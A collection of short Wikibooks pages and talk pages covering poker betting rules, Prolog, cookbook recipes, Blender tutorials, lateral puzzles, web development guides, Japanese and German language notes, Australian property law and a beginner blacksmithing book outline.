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Poker/Betting

Betting
Specifics of betting vary from game to game. Before a hand begins, most games either use an ante or a blind bet, and some games use both. An ante is usually a fraction of a normal bet size. Blind bets are used with games that have a dealer button (also called a puck or button), hereafter simply button to refer to both the button itself and to the player who holds it. With an ante, every player must toss a chip or coin of a given denomination into the pot before receiving his or her cards. Blind bets may also appear in the form of bring-in bets in stud games, where the player with the lowest (or highest) card showing on the first round must either "bring it in" for a set amount (usually half a small bet) or make a full small bet. The player making the bring-in cannot fold.

In games that use a dealer button, the most common structure is a two-blind structure. In this, the player to the button's left posts a small blind (usually half a bet, rounded either up or down if this results in an awkward bet size), and the person to the left of the small blind posts the big blind, generally a full bet size. The players then all receive their cards, the other players receiving them at no cost. The player to the big blind's left must then call, raise, or fold to the big blind, and betting continues normally. But what is normally?

In a normal betting round, there must be some means of determining who goes first. In games that use a button, it will always be the player to the button's left (except in the first betting round, in which case it is the player to the big blind's left; this position is called under the gun). Other games use various schemes. The player who goes first must check or bet. To check is to pass on the chance of betting, and the player to his or her left faces the same choice. If all players check, nobody may bet and the next round continues. When somebody bets, all other players must decide, one at a time (starting from the bettor's left) whether to call, raise, or fold. To call the bet is to put the same amount of money into the pot. To raise is to call and also add more money to the pot. To fold (lay down your hand) is to stop playing the hand, giving up any money invested in the pot. The round of betting ends when all players who have not folded have called the last raise (so each player who has not folded contributes the same amount to the pot). A player who bets and folds to a raise loses the bet he or she made, even though the player folded on the same betting round. For this reason, it is advantageous to act last; in a game with a dealer button, the player who has the button always acts last (except in the first betting round, since the blinds get the option to raise).

To confuse matters further, there are several ways to play betting rounds, which are usually unrelated to the game itself (for example, five card draw can be played spread limit, fixed limit, pot limit, or no limit).
 * Spread limit, also called straight limit, is a common method in home games: throughout a hand, there is a lower limit and an upper limit, for example, $1 to $5, and these limits usually do not change. Spread limit is rarely found in casinos.
 * Fixed limit means each bet and raise is a fixed size. A fixed limit table usually doubles the bet size for the last couple of betting rounds, so fixed limits are often described as, say, $2/4, which, if it describes a Texas hold'em game, means the small blind is $1 (half the big blind), the big blind is $2, the flop is $2, the turn is $4, and the river is $4.
 * Pot limit is like spread limit except the maximum bet size is always the size of the pot. Like fixed limit, the minimum bet size is often doubled at a certain point.
 * No limit means there is no upper limit at all, although this is almost always combined with a rule (called "table stakes") that you can only bet with chips that were in play at the beginning of the hand. This means that when you start a hand of no limit poker, you know that your maximum exposure to risk is limited to the value of chips in front of you. Like fixed limit, the minimum bet size is often doubled at a certain point.

Omaha hold'em is often played pot limit but is almost never played no limit. Stud poker is usually either spread limit or fixed limit. A beginning player is strongly urged not to play pot limit or no limit, no matter how low the stakes are, until at the very least the player is well acquainted with the rules to the game.

The purpose of forced bets
All serious poker games involve some element of forced bets. As described above, this can have take several forms, but will always involve at least one player being forced to put money in the pot. Why is this so important to a poker game?

Consider a game of poker where there are no forced bets. Since you can look at your hand before you choose whether to bet, there's no point in putting any money on the table unless you're almost certain that your hand will be a winner. You might fold 99 hands out of 100 and still make a profit. Of course, your opponents, if they are rational, will think and bet exactly the same way. Such a poker game would consist of hand after hand where everyone folded, and the occasional hand where one person bet and everyone else folded. Money would only change hands on the very rare occasions when two people got extremely good hands at the same time.

To counter this, poker games have a forced bet element. If you fold too many hands, you'll end up losing out as you'll pay the forced bets but get very few payoffs to justify the money expended. Forced bets provide a reason for you to bet even if the forced bet hasn't come out of your stack (as is the case in most hands when blind bets are being used): since the player who made the forced bet may have any hand at all, you have a good chance of beating them with any hand that is above average.

The opposite problem can happen if the forced bets are too large. If you are in a game where the ante is half your entire stack, you'll play almost any hand since you'll go bust in a couple of hands anyway. In general it's correct to play more loosely (call and bet with a wider range of cards) the higher the forced bets are relative to the average stack size.

This can be used in tournament play to control the length of the tournament. As the tournament progresses, the size of the blinds is increased so that players are forced to play their hands more aggressively or risk going bust just from paying the blinds.

title: Poker/Betting


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Talk:Prolog/Introduction

The example near the end of this page - father(A,_). I think it should be parent(A,_). as father hasn't been defined.
 * right again :)
 * A:)

Variations between compilers
Would it be a good idea to add differences between different compilers? Or at least a note that there might be differences?

For example, I use the Windows port of the GNU Prolog compiler. After it iterates through all the possible results, it answers "yes" instead of "No" if there is more than one result.

This might be confusing to some. Thoughts?

Hello, Person!
I think it would be nice to have a program that asks the person his/her name, inputs the string, and replies with 'Hello, ', Person, '!'. I learned prolog 20 years ago, I could write this, but now it seems that I can't - there's no way I can input a string in prolog :-/ Albmont (talk) 14:24, 21 July 2008 (UTC)

binding inconsistency
Are binding, unification, and instantiation all clearly differentiated and used consistently? E.g., "Prolog will try to bind a term to the variable." "In the example above, prolog will first find human(david) in the program and unify A with david" Gherson2 (talk) 14:02, 11 April 2009 (UTC)

new address for B-prolog
Hi, it seams to me that B-prolog has a new internet address: http://www.picat-lang.org/bprolog/index.html

the address mentioned on the page (http://www.probp.com) now belongs to a German Forex Trading company.

Minor error
In section Examples the code should be ?- transport(A, subway), transport(A, tram). A = amsterdam ; false. Rather than  in the last line. Rursus (discuss • contribs) 10:45, 12 July 2024 (UTC)

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

title: Talk:Prolog/Introduction


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Cookbook talk:Mille Crêpe

When do you add the milk into the lemon sauce?

I'm not sure as I haven't created this recipe but it would make sense to add the milk with the eggs --OMouse

 * After looking at the page's history, I noted that the recipe wasn't complete when we got it. Maybe someone should play in the kitchen to determine what works and what doesn't. Gentgeen 04:35, 6 Mar 2005 (UTC)

 * I've looked at a few pictures of Mille Crepes and it looks like it's just a bunch of layers of crepes, with filling of some sort in between. In one picture I saw fruits inside. So, it seems pretty simple to make. I'll go digging for a recipe for this from a book.

Sizes / multiple sheets?
Uh so this doesn't make any kind of sense:

"Trim the pastry so that you are left with a rectangle approximately 23 x 25.5 cm. Roll out the larger piece of pastry to a 30cm square..."

The first bit makes it sounds as though you are dealing with one piece of puff pastry. The second step, by saying "the larger piece," makes it sound as if there are two. And if you're going to be rolling it out to a specified dimension, why measure it so precisely - or trim it - when it's in its pre-rolled state? Am I missing something obvious, or has a step been omitted / added wrongly here? Jessicapierce 01:02, 3 May 2007 (UTC)

title: Cookbook talk:Mille Crêpe


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Cookbook talk:Chipped Beef on Toast

SOS in WWII was primarily made with ground meat not dried chipped beef. The dried chipped beef was a Naval meal called foreskins on toast. There was more room to carry dried and smoked meats on ships and subs then there was for fresh meat.

Shouldn't this be in odds and ends.

Check out this article: http://www.seabeecook.com/cookery/cooking/cooking_sos.htm

It's not clear to me that cooks generally prepared SOS according to the 1910 recipe, even though it was in the book until 1944. For one thing, it sounds like many/most cooks knew to soak the beef before using it, so that it wouldn't be incredibly salty. For another, later recipes were creamier, and it's not clear to me whether that was because the standard practice was not to follow the book recipe, and eventually the book was updated, or if most cooks did make it according to the 1910 recipe (but likely with soaking to reduce salt) until 1944.

Is it 1/4 ounce pepper, that is 7g or 1/4 pound for 110g ? I'd rather bet the former ! —Preceding unsigned comment added by 24.206.120.66 (discuss • contribs)

title: Cookbook talk:Chipped Beef on Toast


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Blender 3D: Noob to Pro/Python Scripting

One of Blender's powerful features is its Python API. This allows you to interface with Blender through the Python programming language. The Python interface allows you to control almost all aspects of Blender, for example you can write import or export scripts for meshes and materials of various formats or create procedurally generated textures. You can also create complete animations procedurally and write scripts to modify existing scenes in any way you can think of. On top of all, you can easily create a user interface for your script, transforming it into a generally usable tool.

The relevant section of the Blender User’s Manual is here.

Download Python Scripts from the Blender site here.

This forum on blenderartists.org discusses Python scripting.

Chapter contents

 * 1) Introduction
 * 2) Anatomy Of An Addon
 * 3) A User Interface For Your Addon
 * 4) Adding A Custom Property
 * 5) A Separately Installable Addon
 * 6) Object, Action, Settings


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Talk:Prolog/Math, Functions and Equality

The answer I gave for exercise 2 will not work with variables for either of the first two arguments, except in some trivial cases. For example, using SWI-Prolog, I get: ?- sigma(1,X,45). ERROR: >/2: Arguments are not sufficiently instantiated I believe this can be solved using between, so perhaps later in the book, we could return to this example. --MatrixFrog (talk) 15:03, 10 April 2008 (UTC)

i think the factorial program should be called fac throughout not f f(0,1). f(A,B) :- A > 0, Ax is A - 1, fac(Ax,Bx), B is A * Ax.
 * Absolutely right. Thanks for the contributions so far, btw. risk 15:00, 4 Mar 2005 (UTC)

p(0). ?- p(sin(0)). No. You can't use functions instead of numbers. You have to do: ?- X is sin(0), p(X). Yes.


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East Asian Calligraphy/Basic stroke order

Generally speaking, the strokes in Chinese characters are written from top to bottom, left to right.

Chinese Characters
There are several stroke order rules for Chinese characters: top to bottom, left to right, inside to outside. For example, the Chinese character for "hit", 打, the left part is written from top to bottom, then the right part is written from top to bottom. The order in which the characters are written can be expressed through drawing a tree diagram. An example of inside to outside stroke order is in the character for "round", 圓. The top two strokes of the box on the outside is written first (because of top to bottom order), then the inside is written top to bottom, and the bottom horizontal stroke is written last to enclose it.

Exceptions
There are many stroke order exceptions in Chinese orthography. For example in the character "上", meaning "up", the middle horizontal line is written first, then the vertical stroke, then the bottom stroke. This is an exception to the left to right stroke order rule.


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German/Appendices/Vocabulary

 * /Animals/
 * /Around the House/
 * /Body/
 * /Clothes/
 * /Colors/
 * /Education/
 * /Environment/
 * /Family/
 * /Food/
 * /Geometry/
 * /Greetings/
 * /Life/
 * /Medicine/
 * /Occupations/
 * /Parties/
 * /People/
 * /Personality/
 * /Physical Description/
 * /Plants/
 * /Politics/
 * /Religion/
 * /Restaurant/
 * /School/
 * /Sports/
 * /Tools/
 * /Travel/
 * /Weather/
 * /Your Day/

Alemán/Vocabulario

title: German/Appendices/Vocabulary


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Puzzles/Lateral puzzles/4/Solution

Puzzles | Lateral puzzles | Lateral puzzle 4 | Solution
 * 1) The man was suffering from hiccups and the bartender was trying a shock treatment to it, instead of the traditional (but very effective) treatment of a glass of water.
 * 2) The man asked for a shot of water, so the bartender pulled out a watergun.
 * 3) The man was on fire.
 * 4) The man walks away. This means the bartender didn´t shoot. Thus, he is thanking him for that (he was the lover of the bartender´s wife, and the bartender found it, yet did not kill him).

title: Puzzles/Lateral puzzles/4/Solution


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Puzzles/Lateral puzzles/1

Puzzles | Lateral puzzles | Lateral puzzle 1

The music stops, she dies!

Explain...

Hints:

 * 1) No one mourns her death.
 * 2) Power failure is involved.
 * 3) She was a circus performer.
 * 4) There were many children.
 * 5) She died in a car accident.

Solution

title: Puzzles/Lateral puzzles/1


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Puzzles/Lateral puzzles/2

Puzzles | Lateral puzzles | Lateral puzzle 2

Anthony and Cleoptra are found lying dead on the floor of an Egyptian villa. They are surrounded by broken glass and water.

Explain...

Solution

title: Puzzles/Lateral puzzles/2


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Puzzles/Lateral puzzles/1/Solution

Puzzles | Lateral puzzles | Lateral puzzle 1 | Lateral puzzle 1 solution

 * 1) She is a music box
 * 2) She is on life support in a hospital and the power fails.
 * 3) She was a tight rope walker who did her act blindfolded. She knew she reached the opposite end of the rope when the band that was beneath her stopped playing. However, one day the lead conductor was sick, and the replacement did not know the trick. So when he stopped (early), the tight rope walker thought she had reached the end and walked off to her death.
 * 4) She was a bug at a party. She was sitting on a chair that people were using for musical chairs, and when the music stopped, a child sat on her.
 * 5) She was driving in a car listening to the radio. She crashed into a cement pole. The radio, being closer to the front of the car, was destroyed a split second before she was.

title: Puzzles/Lateral puzzles/1/Solution


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Puzzles/Lateral puzzles/2/Solution

Puzzles | Lateral puzzles | Lateral puzzle 2 | Solution

1. They are goldfish. The pet dog knocks their bowl off the table and they die.

2. They were fighting over who gets the bottle of water. Anthony strangled Cleo, who broke the bottle over his head.

title: Puzzles/Lateral puzzles/2/Solution


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Puzzles/Lateral puzzles/3

Puzzles | Lateral puzzles | Lateral puzzle 3

A man is lying dead in the middle of a field. He is wearing a rucksack. There is nothing else in the field.

How did he die?

Solution

title: Puzzles/Lateral puzzles/3


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Puzzles/Lateral puzzles/3/Solution

Puzzles | Lateral puzzles | Lateral puzzle 3 | Solution

 * 1) His parachute did not open.
 * 2) The man was actually Abraham Lincoln and 'the field' is the nickname for the theater he was in during his assassination. There is no one else in 'the field' because the theater was evacuated. The rucksack on his back was a late 1850's man-purse that was common during that era for theater-goers.

title: Puzzles/Lateral puzzles/3/Solution


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Category:Help

ar:تصنيف:مساعدة es:Categoría:Wikilibros:Ayuda hy:Կատեգորիա:Օգնություն it:Categoria:Aiuto ka:კატეგორია:დახმარება nl:Categorie:Help pt:Categoria:Ajuda Category for all Wikibooks help pages.

title: Category:Help


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User talk:KirbyMeister:FlashDev

Where does this book belong? I'd like to see books on Photoshop, Final Cut Pro, File Maker, and all sorts of computer books.

Does there need to be a new main category? Instead of "information technology," I feel like there should be a "computer" category, then a "programs" subcategory. Or perhaps this does belong under "information technology," and it should be under a "computer programs" subcategory.

title: User talk:KirbyMeister:FlashDev


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Category:Subject:Computing

az:Kateqoriya:Kompyuter it:Categoria:Informatica ja:カテゴリ:情報技術 ru:Категория:Компьютеры sv:Kategori:IT vi:Thể loại:Khoa học máy tính

title: Category:Subject:Computing


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Web Development/Choosing the right programming language

Choosing the right programming language for server-side applications.

When it comes to the perfect programming language for the development of your site, it is imperative that you understand that there is no perfect programming language. Once you understand this, it is simply a matter of choosing the language that best serves your needs. Before you decide on what language to use, you should consider the following:

 * Server platform
 * Server software being run
 * Budget
 * Previous programming experience
 * Database being used for back-end

The Operating system you are running on your system is your platform and your choice of OS may play a major part in the language you choose. Be aware that unforeseen problems may push you to change platforms in the future, and that some language choices will make this very painful. Microsoft Windows and POSIX-compliant unix-like systems will most likely be your two main choices in technology.

Once you have chosen your OS, the next choice is your server software. On Windows systems, you have IIS which comes installed for free with windows. It has a long history of performance and security problems. Many of the web servers commonly used on POSIX-compliant unix-like systems are available for Windows too, including the very popular and well-respected Apache web server.

"POSIX-compliant unix-like systems" includes a plethora of available OSes including but not limited to Linux, Sun Solaris, BSD, and Mac OS X. Apache is by far the most common web server for these systems and for web serving in general.

While some of the available programming languages are free under the GNU Public License or other open-source licences, others are commercial products and carry a licensing fee. The commercial products do carry the advantage of commercial support and tighter integration with the companies' other products, so if you have a large amount of capital and want to get your site set up quickly with little configuration, then a commercial solution might be your better option. Some of us, however, cannot afford the high price tag of the commercial solutions on the market and may elect to make use of the free yet still very powerful languages available. The tradeoff is the effort in properly configuring the environment which may or may not be worth the cost savings.

The Most Popular Programming Languages
The following are a list of the most popular languages used in the industry today. This is by no means exhaustive or complete and it is up to you to personally research each option to choose the right language for you.

Perl

 * Type: Interpreted script language, Compilable into binary executable or platform-compatible Bytecode
 * website: perl.com
 * License: Open source [free]

insert content here

Example code (using Dancer Perl framework)

PHP

 * Type: Interpreted script language, Compilable
 * Website: php.net
 * License: Open source [free]

PHP is a recursive acronym for PHP Hypertext Processor. Unlike the other offerings listed, PHP is designed specifically for server-side programming, which means that its library is specialized for the tasks you'll be doing over and over again in the course of programming your website. PHP also has the advantage of being able to interweave code with HTML, thus allowing you to mix layout with programming. While this may simplify coding for small sites, it does carry the potential to be abused, resulting in difficult to manage or maintain code for larger projects. Proper use of a templating system such as Smarty should do wonders towards preventing that. PHP is available for most operating systems including Unix and Windows, and is an excellent server-side programming language for professional programming.

Example code

Or a feature that really shows that PHP is designed for the web is something like this.

In this case if "showHtml" is set (using "?showHtml" in the URL), the code will display the h1. This way you will not have to use echo or print to print HTML.

C

 * Type: Compiled
 * Website:
 * License:

The C programming language is a standardized programming language developed in the early 1970s by Dennis Ritchie for use on the UNIX operating system. It has since spread to many other operating systems, and is one of the most widely used programming languages. C is prized for its efficiency, and is the most popular programming language for writing system software, though it is also used for writing applications.

C is a useful language to learn since similar syntax is used by many modern languages such as Java, PHP, and JavaScript.

Example code

More Example code

ColdFusion

 * Website: Adobe
 * License: Multiple available

Programming:ColdFusion

ColdFusion is a scripting language based on standard HTML that is used to write dynamic Web sites. It allows you create dynamic pages quickly and easily, including querying data from a database, use hundreds of built in tags and functions, or creating full scale object oriented enterprise level applications. ColdFusion pages can consist largely of standard HTML tags intermingled with ColdFusion Markup Language (CFML) tags, or can implement custom frameworks designed to assist the developer in separating presentation from business logic (e.g. with the MVC design pattern). ColdFusion was introduced by Allaire in 1996 and acquired by Macromedia in a merger in April 2001 and by Adobe in 2005. As an Adobe product, ColdFusion developers have the advantage of leveraging many existing Adobe technologies seamlessly. Examples of such integration can be seen in the dynamic generation of Adobe Acrobat .pdf documents, Adobe Flash forms and presentations, Adobe Flash remoting capabilities, as well as connection with Adobe Flex user interfaces.

Example code

#myVar#


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Final Cut Pro

Outline for a WikiBook on Final Cut Pro.

title: Final Cut Pro


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Web Development/Good coding procedures and adherence to standards

Once you have chosen an appropriate language (see 5.3: Choosing the right programming language), it is important to code your website well. Cleanliness is both important and respected among programmers, and an effective, efficient algorithm will be appreciated by the end users.

You should plan the logical layout of your website code beforehand, with the methods, objects, etc., and their purposes clearly defined and related. Be precise with this pre-planning. Draw it on a napkin, type it out, do whatever you have to to get a concrete understanding of your backend's structure beforehand. This will come in handy. Oftentimes, programmers say that planning is the most important stage of programming (that and bug-testing).

Aside from planning ahead, here are some other general guidelines:

 * Keep an online manual for your language open at the same time you're coding, in case you need to look up an obscure function or precise syntax.
 * Be sure to never use outdated algorithms or tags. Tags like and are no longer standard HTML tags. Syntax for languages is always being updated. Make sure you're coding in the most recent version of the language. Backwards and forwards compatibility are important. Don't use code that is already outdated, and if the manual says a function will probably be discarded in a future update, don't use it.
 * It's important to comment your code, in case someone else takes over for you at some point. This is also important for when you have to update your code in the future, in case you forget your own logic.
 * Make your code abstract, in case the same method needs to be implemented in more than one place.
 * Any other general standards for coding well should be used.

In conclusion, plan ahead. It's much better to spend five minutes planning ahead than to spend hours going back through your code because you made a logistical mistake in the very beginning.

Java and JSP
Sun Microsystems has published a widely used set of coding conventions for Java and JSP.

A very good automated tool for enforcing Java coding conventions is checkstyle. This tool is highly configurable.

Existing code can be reformatted using tools such as Jalopy or Jacobe.

Use the javadoc tool included in the Java SDK to document your code.

Automated unit tests can be built using Junit. JUnitDoclet is a useful addition to JUnit. Use HttpUnit to automate web page testing.

All the tasks above can be integrated using ANT.


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Talk:Japanese/Numbers

Decadic
"decadic system" is from 0 to 9, i believe...
 * The decadic system describes the base, which is 10. However, you're correct that the set of numbers used is 0 to 9.  -- Retropunk (talk) 16:11, 21 January 2009 (UTC)

Amaterasu legend
I've removed the following from the page:
 * There is a legend that the sun goddess Amaterasu once hid herself in a cave, which led to darkness on Earth. Trying to get her back, other gods gathered around the cave and decided that another goddess should perform a ritual dancing to make Amaterasu wonder what is happening outside, and step out of the cave. During this ritual, a god Ame no Koyate no Mikoto prayed for Amaterasu to come out. He said "ひ" and other gods replied "とつ", he said "ふ" and other continued "たつ", he said "み", and they added "つ". Then the same answer was for "と", "いつ", "む", "なな", "や" and "ここの". The last word all the gods said together: "とを".
 * The origin of these words are a mystery, but some scholars believe they have Hebrew roots, and even attempt (rather successfully) to translate them like if they were said in Hebrew.
 * These words became the first Japanese counting words. Their reading is called kunyomi (訓読み, くんよみ) and they are now pronounced as:

Checking online, the only source I could find was this bit of original research. If someone wants it in, we're going to need something more substantial. --Swift (talk) 21:57, 9 April 2009 (UTC)

title: Talk:Japanese/Numbers


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Web Development/The importance of a website's unified theme

A website should have a unified graphic theme, as well as a tone and general feel. If a "professional feel" is what you're going for—if you're trying to sell a professional product or service, like web design—then aim for a professional look and design, and write the content with a professional tone. It's hard to describe because the concepts are often abstract, but a good designer can come up with a look and feel for any theme.

Besides helping the user subconsciously identify your website with a general category (professional, playful, serious, etc.), it's important to have a unified theme so that the user knows when they're actually at your website. That is, from a cognitive psychological view: if a user clicks a link, he should know whether he is still at your website or if the link has taken him to an external site.

Distinct and unique "logo types" (amazon.com, eBay, Microsoft, RollingStone Magazine) stay with a user. They are instantly recognizable and also lend an appropriate air to the content they represent.

It can take a long time to develop and decide upon a theme, but the visual aspect of a website is just as important as the backend and is an essential part of the user's experience.


text:
Talk:Web Development/The importance of a website's unified theme

I hope to some day put up examples of different themes and how they represent their content: Disney, Microsoft, raskincenter.org, etc. Feel free to join in :) LockeShocke 23:27, 4 Mar 2005 (UTC)


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Movie Making Manual/Clapper board

You can use a clapper board to identify which scenes you wish to include. For example, you could write the TAKE number and the SCENE number, so while editing you can just select the thumbnail with the information you selected to include in your final movie, and trim the scene and add it to the final movie. In North America, the clapper is referred to as a slate. It's use is as follows. The assistant cameraperson "AC" asks the script supervisor which scene and take is up. This is written on the slate with either chalk or marker. If there is sound recorded, then the clapper sticks are hit together so the editor has both a visual cue (the first film frame with the sticks together) and a sound cue (the clap). It is often perceived that the slate is always clapped, but for much of the film there is no sound (only necessary for synronizing the actors lips with their dialogue) and the slate is put in frame closed. Slating is the last thing that happens before the action can start, however in some circumstances where it's unclear when the event might happen (as an explosion) the camera will be slated or "marked" at the end of the action, called an "end-slate."

title: Movie Making Manual/Clapper board


text:
User:68.230.161.133

I'm writing to oppose the deletion of The Science of Getting Rich. It is a fascinating, philosophical, and spiritual book. There is no reason to delete it, and every reason to retain it. Wkarenk

title: User:68.230.161.133


text:
Australian Property Law

Concept of property

 * 1) /Introduction/
 * 2) /What is property?/
 * 3) /Contract and property/
 * 4) /Property and personal rights/

Variety of property rights

 * 1) /Ownership/
 * 2) /Tenure/
 * 3) /Estates/
 * 4) /Native title/

title: Australian Property Law


text:
Australian Property Law/Introduction

Property is both a legal concept and a social institution. This textbook focuses on the former, examining legal principles and rules regulating the creation, transfer and enforceability of interests in property. Nevertheless, it is impossible to understand property law in isolation from its historical, economic and social context.

All human societies have rules to control access to valuable resources. These rules vary according to the nature and needs of the particular society. The rules governing property in traditional societies, for instance, differ greatly from those of contemporary societies.

Large differences may exist between industrialized societies. The best example is the difference, until recently, between capitalist and communist societies with regard to private property. Most countries today have mixed economies in which some resources are privately owned, some assets are owned by the state and free enterprise is subjected to some state regulation. In Australia, private property predominates, though certain resources such as beaches and public parks, are treated as common property.

In Australia, private property in land was introduced in 1788, displacing systems of Aboriginal law based on common ownership. In Mabo v Queensland, the High Court of Australia recognised Aboriginal customary rights to land for the first time.

title: Australian Property Law/Introduction


text:
User:Yu Ninjie~enwikibooks

Property Law in Australia

title: User:Yu Ninjie~enwikibooks


text:
Japanese/Dialects/Kyushu

These examples are mainly from Hakata-ben (博多弁 Fukuoka dialect).

an sa instead of ano ne (hey, listen up...)

asobanne instead of asobou (let's play)

batten instead of da kedo (but)

da ken instead of da kara (therefore)

yokaroumon instead of yoi deshou (good, don't you think?)

bari instead of totemo (very)

shitoocchan instead of shiterunda (I've done/finished it)

shiyoocchan instead of shiterunda (I'm doing it)

~shitokiiyo instead of shite okinasai (please do ~; used with children)

tottouto instead of totte imasu (to take)

yokka yokka instead of daijoubu (ok; no problem)

To form affirmative sentences, add ~bai to end of the standard Japanese sentence. Tokyo ni iku yo = Tokyo ni iku bai. (I go to Tokyo.)

To form interrogative sentences, add ~to to end of the standard Japanese sentence. Doko ni iku no? = Doko ni iku to? (Where do you go to?)

For adjectives only, change the last ~i of the adjective to ~ka when expressing one word. Sore wa minikui. = Sore wa miniku ka. (That's ugly.)

Useful words: I/ me = uchi (Mainly used by women) you = aata no = innya yes = yoka like = suitoh don't like = sukan

I like Hakata ben. =Hakata ben suitoh. (in Hakata ben)

Kagoshima ben is difficult. =Kagoshima ben'na mutsukashika. (in old Hakata ben)

I will be right there! =ima kara kukken!

in Japanese with (.au) audio files http://www.fjct.fit.ac.jp/JP/hakataben.html

Dialects of Northern Kyushu (in English) http://adtimmering.net/en/kyushu/

title: Japanese/Dialects/Kyushu


text:
Blender 3D: Noob to Pro/Advanced Tutorials/Relative Vertex Keys

 * Letters in brackets i.e.:(z) mean there is addition information at the bottom of the page.

Introduction:
This tutorial is meant to stop all the RVK (Relative Vertex Keys) questions.

Window Layout:
Set the left half of the screen as 3D View. The other half is divided in two. The top is Action and the bottom is IPO (set to vertex display).

Setting your Neutral Pose
Make sure you are on the first frame (a). With the cursor over the 3D View, select the mesh you want to animate. (mesh in object mode) and press the I key. Select Mesh from the pop up menu then Relative Keys from the next pop up menu. A line will appear in the IPO view. This line is your neutral pose.

Setting up your additional Pose Lines
Now, figure out how many key frames you will need. If you want to move both eyebrows up and down then you will need 4 additional IPO lines.

Left Brow Up Left Brow Down Right Brow Up Right Brow Down

Press the up arrow (cursor key) to move to forward 10 frames. Press the I key while over the 3D View and select Mesh. Repeat until you see a total of 5 lines in the IPO window.

Set your Poses
Right click on the Neutral pose line in the IPO window. This sets the mesh to the neutral pose. Now Right click on the next line up in the IPO window. Enter edit mode in the 3D View and move the vertices as desired (in this case you will be moving verts to get the left Brow up pose). Press Tab to exit edit mode. Now right click your Neutral pose line in the IPO window. You will see your object in its neutral state. Right click the next line up and you should see the changes you just made to your object. Set up all your mesh poses following the above instructions.

Name your Poses
RIght click on the Key names in the Action window. Change the name and click OK.

Time to Animate (b)
Click on the arrow next to the Sliders text. This will give you access to the pose sliders. Move to frame 20 to start your action. Move the pose slider but release the mouse when set to 0. Now move 10 frames forward and move the same slider to 1.00 (maximum). Use this method to set up all your actions(c). Remember to add a 0 value frame to end the pose.(d).

Adjust your Slow in & Out
In the IPO View select from the menu to find the IPO curves. You can get back to the Pose lines by selecting KeyIPO from the same menu. Right click the spline you want to edit and press TAB to enter edit mode. Move the handles to adjust slow in/out.(e)

(a) In this case moving to a frame has nothing to do with animation. It is done so that your pose lines are separate from each other. (b) Select your key frame marker and use the usual commands to move  and duplicate  them. (c) Be subtle by not pushing the slider all the way to 1.00. (d) Try overlapping your poses. (e) When setting slider values they can sometimes go into the negative value. This will give you weird results. Although sometimes they can make your animation more interesting. To fix this edit the IPO, select the point where the line dips below zero and press the V key. Do the same at the other end of the curve if needed.

Warning! Blender has a limit to the number of verts you can use.

Click here to read the advanced animation tutorial guided tour.


text:
Down'n'dirty Blacksmithing

Down'n'Dirty Blacksmithing is intended to be a practical introduction to the craft of blacksmithing through the construction of a primitive forge, tools to work the metal heated in the forge, and basic projects.

We hope that this book will provide information through text and illustrations so that an individual might:

 * Acquire necessary tools and materials.
 * Build a primitive forge.
 * Build a primitive anvil.
 * Successfully light a fire in the forge that will bring steel to a working temperature.
 * Work steel with tools made and acquired in a series of graded exercises that will give an individual an introduction to the rudiments of blacksmithing.
 * Work steel in a series of graded exercises that will continue the individual's introduction to the rudiments of blacksmithing and provide additional tools for the further exploration of the craft.

= Contents =
 * Introduction
 * Tools, Materials, and Supplies
 * Safety
 * Constructing a Down'n'dirty Forge
 * Constructing a Down'n'dirty Anvil
 * Basic Blacksmithing Techniques
 * Exercises and Projects
 * Exercise 1: Pointing
 * Exercise 2: Hot Cutting
 * Exercise 3: Drawing
 * Exercise 4: Freehand bending
 * Project 1: A Simple "S" Hook
 * Project 2: A Fancy "S" Hook
 * Advanced Blacksmithing Techniques
 * To Learn More
 * About the Author(s)

title: Down'n'dirty Blacksmithing


text:
Talk:Down'n'dirty Blacksmithing

Something
I've had this in mind for some time. What I'm after with this book is described in the introduction (which needs polish). I hope to take advantage of modules in Wikipedia on Metalwork, Forge, and Blacksmith to flesh this out quickly. The core work of this is not to write from scratch, but to create a core of one very simple way to set up a working forge and basic tools and make some simple, useful things. My further hope is that some of the other smiths on the web will eventually find this and contribute, not only to this book and wikipedia, but perhaps more and more specialized modules on various processes, tools, materials and the like. I want to emphasize that in this book what should be covered is a way to do things. Not the way. Not even, necessarily the best way. What is described at points may be very localized and specific. I believe that if it is basic and essential enough in descriptions those who are interested and motivated will be able to make appropriate substitutions to suit their environment. A secondary but still significant goal is that there are enough links and cross references to existing resources on Wiki and externally that one more starting point for this in the internet is created. Yet another goal is that this is modular enough and motivating enough that others are motivated to assist in filling the gaps that must exist in a topic like this. --Erraunt 17:18, 5 Mar 2005 (UTC)

Nice start
Erraunt, this is a nice start. I made a few minor changes to some of the sentences, and some spelling changes as well. This is an interesting topic and I hope to see more soon. Thanks for your work. --Vern 19:45, 8 Mar 2005 (UTC) Thanks, Vern. Your changes are appreciated. I'm passing the word to some of my smithing friends as well. The more input the better. Even starting to daydream a bit about what will follow. I look forward to this growing and to whatever you might choose to offer. --erraunt

Continuing the work
I fleshed out some of the earlier sections quite a bit and started putting in more links back to Blacksmithing and Metalworking in Wikipedia.

I hope to get to the "Building" and initial projects pages in the next two weeks.

I don't want to restrict anyone from contributing to this in the slightest but I would ask if you're going to add significantly to this book that you read the introduction and objectives and consider keeping what you add in line with the goal of a simple, primitive forge and anvil as the basis for what is accomplished here.

I don't want to exclude such additions but that is why I chose "Down'n'Dirty" for the title and guiding philosophy. If there is interest I have interest in a second book with more advanced techniques using more refined tools made or otherwise acquired.

But the goal here is to let someone have a taste and do some basic work with the least outlay possible so that they could decide if it was for them and worth the investment in proper anvil, leg vice, forge, bellows and the like.

My other hope is that once the weather warms (it's early March and I'm in Minneapolis as I write this) a few of us can get together and actually work through what is here with a camera present both to test the content and to create images to illustrate the process. erraunt

If You are Willing to Help ...
I've got a fairly clear idea of where I want to go with the body of this book.

If you're inclined and have a little time, things that would be really helpful would be:

1) checking Wikipedia for useful entries to link to from this book.  The more that we can use other modules from elsewhere in the Wiki world the more time there is for writing on new things.

2) Creating or expanding Wikipedia entries where there are none or only stubs. For example, while there is a Wikipedia entry for "hammers" it wasn't linked to Metalworking and didn't include cross-peen hammers. So I've added cross-peen to hammers (but it's a stub) and put a link to "hammers" in "Metalwork". Things like that would be great.

3) I'm not sure where it would best be put but creating a bibliography of good books on blacksmithing would be outstanding. Please add your favorites. Probably in the Wikipedia entry on Blacksmithing would be best.

4) If you have any photographs of blacksmith tools, or know where public domain images of the same are available, that would be really great. Writing about blacksmithing is a poor third best to hands on. Photographs and sketches will work to bring this to "second best" which is about the best we can do in a 2 dimensional medium (although I'll admit I daydream about a VR smithy ... ).

